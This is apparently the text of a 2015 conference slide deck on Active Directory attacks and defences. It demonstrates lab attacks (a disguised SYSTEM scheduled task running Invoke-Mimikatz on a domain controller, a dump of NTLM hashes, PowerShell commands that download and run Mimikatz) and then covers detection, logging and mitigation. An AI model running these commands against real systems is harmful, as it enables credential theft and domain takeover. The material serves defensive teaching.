PS C:\temp\mimikatz> schtasks /create /S adsc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System" /TN "SCOM Agent Health Check" /TR "C:\windows\temp\Invoke-Mimikatz.ps1"

SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.

PS C:\temp\mimikatz> schtasks /create /S adsc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System" /TN "SCOM Agent Health Check" /TR "C:\windows\temp\Invoke-Mimikatz.ps1"

WARNING: The task name "SCOM Agent Health Check" already exists. Do you want to replace it (Y/N)? y
SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.

PS C:\temp\mimikatz> schtasks /query /S adsc02.lab.adsecurity.org

<table>
<thead>
<tr>
<th>TaskName</th>
<th>Next Run Time</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>SCOM Agent Health Check</td>
<td>3/22/2015 12:21:00 AM</td>
<td>Ready</td>
</tr>
</tbody>
</table>
Silver Ticket: Domain Controller Exploitation

```
invoking-mimikatz
1/4/2015 10:40 PM  PS1 File  619 KB

mmkdom
1/4/2015 10:43 PM  Text Document  5 KB

mmkdom - Notepad

| .#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 20 2014
| 08:56:48). ## ^##. ## / ## /## /### /### Benjam## DELPY
| 'gentilkiwi' (benjamin@gentilkiwi.com)'## v ##'
| http://blog.gentilkiwi.com/mimikatz
| (oe.oe)'#####'
| with 14 modules *(*)/mimikatz(powershell)
| privilege::debugPrivilege '20' OKmimikatz(powershell) !lsadump::samrpc
| /patchDomain: ADSECLAB /S-1-5-21-1473643419-774954089-2223292127RID:
| 000001f4 (500)User: AdministratorLM: NTLM:
| 6f40d9c1cab7f73d298dc3d94163543dRID: 000001f5 (501)User: GuestLM:
| 7e2a0e20851d0229f2489210b6576ederID: 000003e8 (1000)User: adminLM:
| NTLM: 7c08d63a2f48f045971bc2236ed3f3acRID: 00000452 (1106)User:
| LukeskywalkerLM: NTLM: 177af8ab46321ecfe22b4e8376f2da7RID: 00000453
| (1107)User: HansololM: NTLM: 269c0c63a623b2e062d5fd8261c9b82s818RID:
| 00000454 (1108)User: JoesuserLM: NTLM: 7c08d63a2f48f045971bc2236ed3f3ac
| RID: 00000456 (1110)User: DarksidiousLM: NTLM:
| 615a280ce38c107a2c7ce2ef468a5b4RID: 00000646 (1606)User: svc-
| SQLAgent01LM: NTLM: 88e16074a212c644289d94bca180a212RID: 00000647
| (1607)User: svc-SQLDBEngine01LM:
| d0abf04f1c689f44c8859a141414900869:
```
Forging Kerberos Trust Tickets

1. AS_REQ (request TGT)
2. AS REP (receive TGT)
3. TGS_REQ (present TGT, request TGS)
4. TGS REP (receive TGS)
5. AP REQ (present TGS for access)
6. AP REP (optional, used when mutual authentication is requested)
Blue Team Response:
Forged Kerberos Tickets

Detection: Difficult

Mitigation:
– Protect AD Admins
Detecting Forged Kerberos: **Golden & Silver Tickets**

- Normal, valid account logon event data structure:
  - **Security ID:** DOMAIN\AccountID
  - **Account Name:** AccountID
  - **Account Domain:** DOMAIN

- **Golden & Silver Ticket** events may have one of these issues:
  - The Account Domain field is blank when it should contain DOMAIN.
  - The Account Domain field is DOMAIN FQDN when it should contain DOMAIN.
  - The Account Domain field contains “eo.oe.kiwi :)” or “<3 eo.oe - ANSSI E>” or similar...

  *Event IDs: 4624 (logon), 4672 (admin logon), 4634 (logoff)*
Blue Team (Defense)
PowerShell Attack Detection

• Log all PowerShell activity

• Interesting Activity:
  – Invoke-Expression (and derivatives: “iex”).
  – “EncodedCommand” (“-enc”) & “Bypass”
  – BITS activity.
  – Scheduled Task creation/deletion.
  – PowerShell Remoting (WinRM).

• Track & Limit PowerShell Remoting (WinRM).

• Audit/Meter PowerShell usage.
PowerShell v5 Security Enhancements

• Script block logging
• System-wide transcripts
• Constrained PowerShell
• Antimalware Integration (Win 10)
PowerShell v5 Security: Script Block Logging

PS C:\Users\ADSAadmin> powershell -encodedcommand VwByAGkAdAB1AC0ATwB1AHQAcAB1AHQAIAAiAFIAdQBuAG4AaQBuc... Running Invoke-Mimikatz...

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 6/25/2015 8:30:16 PM
Event ID: 4104 Task Category: Execute a Remote Command
Level: Verbose Keywords: None
User: WIN-FOOTV83NK6K ADSAd Computer: WIN-FOOTV83NK6K

Creating Scriptblock text (1 of 1):
Write-Output "Running Invoke-Mimikatz..."

ScriptBlock ID: cbd51773-c40f-4f73-9b77-808a7624d1c7
PowerShell v5 Security: System-Wide Transcripts

PS C:\> get-content C:\Users\ADSAadmin\Documents\PowerShell_transcript.ADSWK10.6CuHE1fY.20150730171748.txt

--------------------
Windows PowerShell transcript start
Start time: 20150730171748
Username: ADSWK10\ADSAadmin
RunAs User: ADSWK10\ADSAadmin
Machine: ADSWK10 (Microsoft Windows NT 10.0.10074.0)
Host Application: C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
Process ID: 3928
--------------------
C:\Users\ADSAadmin\Documents\PowerShell_transcript.ADSWK10.6CuHE1fY.20150730171748.txt

--------------------
Command start time: 20150730172926
--------------------
PS C:\Windows\system32> get-service

<table>
<thead>
<tr>
<th>Status</th>
<th>Name</th>
<th>DisplayName</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stopped</td>
<td>AJRouter</td>
<td>AllJoyn Router Service</td>
</tr>
<tr>
<td>Stopped</td>
<td>ALG</td>
<td>Application Layer Gateway Service</td>
</tr>
<tr>
<td>Stopped</td>
<td>AppIDSvc</td>
<td>Application Identity</td>
</tr>
<tr>
<td>Running</td>
<td>Appinfo</td>
<td>Application Information</td>
</tr>
<tr>
<td>Stopped</td>
<td>AppMgmt</td>
<td>Application Management</td>
</tr>
<tr>
<td>Stopped</td>
<td>AppReadiness</td>
<td>App Readiness</td>
</tr>
<tr>
<td>Running</td>
<td>AppXSvc</td>
<td>AppX Deployment Service (AppXSVC)</td>
</tr>
<tr>
<td>Running</td>
<td>AudioEndpointBuilder...</td>
<td>Windows Audio Endpoint Builder</td>
</tr>
<tr>
<td>Running</td>
<td>Audiosrv</td>
<td>Windows Audio</td>
</tr>
<tr>
<td>Running</td>
<td>AudioToCifController...</td>
<td>Windows Audio To CIF Controller (AudioToCif)</td>
</tr>
</tbody>
</table>
PowerShell v5 Security: Constrained PowerShell

$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

PS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Dump

New-Object : Cannot create type. Only core types are supported in this language mode.
At line:1 char:6
+ IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  + CategoryInfo : PermissionDenied: () [New-Object], PSNotSupportedException
  + FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand

Invoke-Mimikatz : The term 'Invoke-Mimikatz' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:71
+ ... Ient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCr ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  + CategoryInfo : ObjectNotFound: (Invoke-Mimikatz:String) [], CommandNotFoundException
  + FullyQualifiedErrorId : CommandNotFoundException
Windows 10 PowerShell Security: Antimalware Integration

```
PS C:\Windows\system32> Iex (Invoke-WebRequest http://pastebin.com/raw.php?i=JHhnFV8m)
iex : At line:1 char:1
+ 'ANSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:4 char:1
+ iex $string
+ ~~~~~~~~~~~
   + CategoryInfo : ParserError: (:) [Invoke-Expression], ParentContainsErrorRecordException
   + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpression

At line:1 char:1
+ function Invoke-Mimikatz
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
   + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
   + FullyQualifiedErrorId : ScriptContainedMaliciousContent
```
Mitigation Level One (Low)

- Minimize the groups (& users) with DC admin/logon rights
- Separate user & admin accounts (JoeUser & AdminJoeUser)
- No user accounts in admin groups
- Set all admin accounts to “sensitive & cannot be delegated”
- Deploy Security Back-port patch (KB2871997)
- Set GPO to prevent local accounts from connecting over network to computers (KB2871997).
- Use long, complex (>25 characters) passwords for SAs.
- Delete (or secure) GPP policies and files with creds.
- Patch server image (and servers) before running DCPromo
- Implement RDP Restricted Admin mode
Mitigation Level Two (Moderate)

- **Microsoft LAPS (or similar)** to randomize computer local admin account passwords.
- **Service Accounts (SAs):**
  - Leverage "(Group) Managed Service Accounts".
  - Limit SAs to systems of the same security level, **not** shared between workstations & servers (for example).
- Remove Windows 2003 from the network.
- **Separate Admin workstations** for administrators (locked-down & no internet).
- **PowerShell logging**
Mitigation Level Three ("It’s Complicated")

- **Number of Domain Admins = 0**
- Complete separation of administration
- ADAs use SmartCard auth w/ rotating pw
- ADAs never logon to other security tiers.
- ADAs should only logon to a DC (or admin workstation or server).
- **Time-based, temporary group membership.**
- No Domain Admin service accounts running on non-DCs.
- Disable default local admin account & delete all other local accounts.
- Implement network segmentation.
- CMD Process logging & enhancement (KB3004375).
Credential Theft Protection (Future)

**LSAlso**
- NTLM Support
- Kerberos Support

Isolated User Mode (IUM)

**LSASS**
- NTLM
- Kerberos
- IUM Secrets

High Level OS (HLOS)

Hypervisor

Computer Hardware
Microsoft Advanced Threat Analytics (ATA, formerly Aorato)
- Monitors all network traffic to Domain Controllers
- Baselines “normal activity” for each user (computers, resources, etc)
- Alerts on suspicious activity by user
- Natively detects recon & attack activity without writing rules

• ATA Detection Capability:
  – Credential theft & use: Pass the hash, Pass the ticket, Over-Pass the hash, etc
  – MS14-068 exploits
  – Golden Ticket usage
  – DNS Reconnaissance
  – Password brute forcing
  – Domain Controller Skeleton Key Malware
Microsoft Advanced Threat Analytics (ATA)

Suspicion of Identity Theft based on Abnormal Behavior

Server Administrator exhibited abnormal behavior when performing activities that were not seen over the last month and are also not in accordance with the activities of other accounts in the organization. The abnormal behavior is based on the following activities:

- Performed interactive login from 8 abnormal workstations.
- Performed interactive login from FS.
- Requested access to 12 abnormal resources.

Recommendations

- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating unknown processes, services, registry entries, unsigned files, and more.
- Contact Server Administrator and investigate if the user has logged in to abnormal computers and accessed abnormal resources.

Encryption Downgrade Activity

- 14 days ago

Privilege Escalation using Forged PAC

- 14 days ago

Identity Theft Using Pass-the-Hash Attack

- 14 days ago

Entities Recently Learned

- 1 user
- 150 computers
- 15 days ago

Identity Theft Using Pass-the-Ticket Attack

- 16 days ago
ATA Detection: Suspicious Activity
ATA Detection: Credential Theft Pass the Hash

Identity Theft Using Pass-the-Hash Attack

Administrator’s hash was stolen from one of the computers previously logged into by Administrator and used from WIN7CLIENT-PC.

Recommendations
- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating: unknown processes, services, registry entries, unsigned files, and more
- Disable Administrator’s account
- Reset Administrator’s password
Identity Theft Using Pass-the-Ticket Attack

Administrator’s Kerberos tickets were stolen from FS to CLIENT1 and used to access DC01 (CIFS).

Recommendations
- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating unknown processes, services, registry entries, unsigned files, and more
- Disable Administrator’s account
ATA Detection: Credential Theft OverPass the Hash

Encryption Downgrade Activity

The encryption method of the Encrypted_Timestamp field of AS_REQ message from FS has been downgraded based on previously learned behavior. This may be a result of a credential theft using Overpass-The-Hash from FS.

Sunday, July 5, 2015 at 7:39 AM

<table>
<thead>
<tr>
<th>Summary</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Accounts (1)</th>
<th>From (1)</th>
<th>Accessed (1)</th>
<th>Via Domain Controllers (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Joe User</td>
<td>FS</td>
<td>lab.adsecurity.org</td>
<td>DC01</td>
</tr>
<tr>
<td>192.168.222.15</td>
<td>to KRBGT</td>
<td>192.168.222.22</td>
<td></td>
</tr>
</tbody>
</table>
Privilege Escalation using Forged PAC

Server Administrator attempted to escalate privileges by using a forged PAC from WIN7CLIENT-PC and accessing krbtgt (KRBTGT) (1 successful).

Thursday, July 2, 2015 at 8:49 AM

From (1)  Accessed (1)  Response  Via Domain Controllers (1)

8:49 AM  WIN7CLIENT-PC: 192.168.222.34  krbtgt  to KRBTGT  Success  Forged PAC Provided  DC01  192.168.222.22
**Encryption Downgrade Activity**

The encryption method of the TGT field of TGS_REQ message from FS has been downgraded based on previously learned behavior. This may be a result of a Golden Ticket in-use on FS.

July 5, 2015 8:26 AM to 8:51 AM

<table>
<thead>
<tr>
<th>Accounts (2)</th>
<th>From (1)</th>
<th>Accessed (1)</th>
<th>Via Domain Controllers (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Michael</td>
<td>FS 192.168.222.15</td>
<td>DC01 to CIFS</td>
<td>DC01 192.168.222.22</td>
</tr>
<tr>
<td>Joe User</td>
<td>FS 192.168.222.15</td>
<td>DC01 to CIFS</td>
<td>DC01 192.168.222.22</td>
</tr>
</tbody>
</table>
ATA Detection: Skeleton Key

Encryption Downgrade Activity

The encryption method of the ETYPE_INFO2 field of KRB_ERR message from 3 computers has been downgraded based on previously learned behavior. This may be a result of a Skeleton Key on DC01.


<table>
<thead>
<tr>
<th>Accounts (4)</th>
<th>From (3)</th>
<th>Accessed (2)</th>
<th>Via Domain Controllers (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>9:32 AM, Thursday, July 2, 2015</td>
<td>Server Administrator</td>
<td><a href="192.168.222.34">WIN7CLIENT-PC</a></td>
<td>2 Resources</td>
</tr>
<tr>
<td>12:45 PM, Thursday, July 2, 2015</td>
<td><a href="192.168.222.31">CLIENT1</a></td>
<td><a href="192.168.222.31">CLIENT1</a></td>
<td>LAB.ADSECURITY.ORG to KRBGT</td>
</tr>
<tr>
<td>12:50 PM, Thursday, July 2, 2015</td>
<td><a href="192.168.222.10">FS</a></td>
<td><a href="192.168.222.10">FS</a></td>
<td>LAB.ADSECURITY.ORG to KRBGT</td>
</tr>
<tr>
<td>5:04 PM, Thursday, July 2, 2015</td>
<td><a href="192.168.222.34">WIN7CLIENT-PC</a></td>
<td><a href="192.168.222.34">WIN7CLIENT-PC</a></td>
<td>LAB.ADSECURITY.ORG to KRBGT</td>
</tr>
<tr>
<td>10:32 AM, Friday, July 3, 2015</td>
<td>Server Administrator</td>
<td><a href="192.168.222.15">FS</a></td>
<td>2 Resources</td>
</tr>
</tbody>
</table>
Additional Mitigations

- **Monitor** scheduled tasks on sensitive systems (DCs, etc)
- **Block** internet access to DCs & servers.
- **Monitor** security event logs on all servers for known forged Kerberos & backup events.
- **Include** computer account password changes as part of domain-wide password change scenario (set to 1 day)
- **Change** the KRBTGT account password (twice) every year & when an AD admin leaves.
- **Incorporate** Threat Intelligence in your process and model defenses against real, current threats.
Summary

• Attackers will get code running on a target network.
• The extent of attacker access is based on defensive posture.
• Advanced attacks with forged tickets can be detected.
• Protect AD Admins or a full domain compromise is likely!

My research into Active Directory attack, defense, & detection is ongoing. This is only the beginning... 😊
Thanks!

- Alva “Skip” Duckwall (@passingthehash)
  - [http://passing-the-hash.blogspot.com](http://passing-the-hash.blogspot.com)
- Benjamin Delpy (@gentilkiwi)
  - [http://blog.gentilkiwi.com/mimikatz](http://blog.gentilkiwi.com/mimikatz)
- Casey Smith (@subtee)
- Chris Campbell (@obscresec)
  - [http://obscresec.blogspot.com](http://obscresec.blogspot.com)
- Joe Bialek (@clymb3r)
  - [https://clymb3r.wordpress.com](https://clymb3r.wordpress.com)
- Matt Graeber (@mattifestation)
  - [http://www.exploit-monday.com](http://www.exploit-monday.com)
- Rob Fuller (@mubix)
  - [http://www.room362.com](http://www.room362.com)
- Will (@harmj0y)
  - [http://blog.harmj0y.net](http://blog.harmj0y.net)
- The Microsoft ATA Product Team
  (Tal, Michael, & Idan)
- Many others in the security community!
- My wife & family for putting up with me being on the computer every night! 😊

**CONTACT:**
Sean Metcalf
@PyroTek3
sean [@] adsecurity . org
[https://www.ADSecurity.org](https://www.ADSecurity.org)
Please submit an evaluation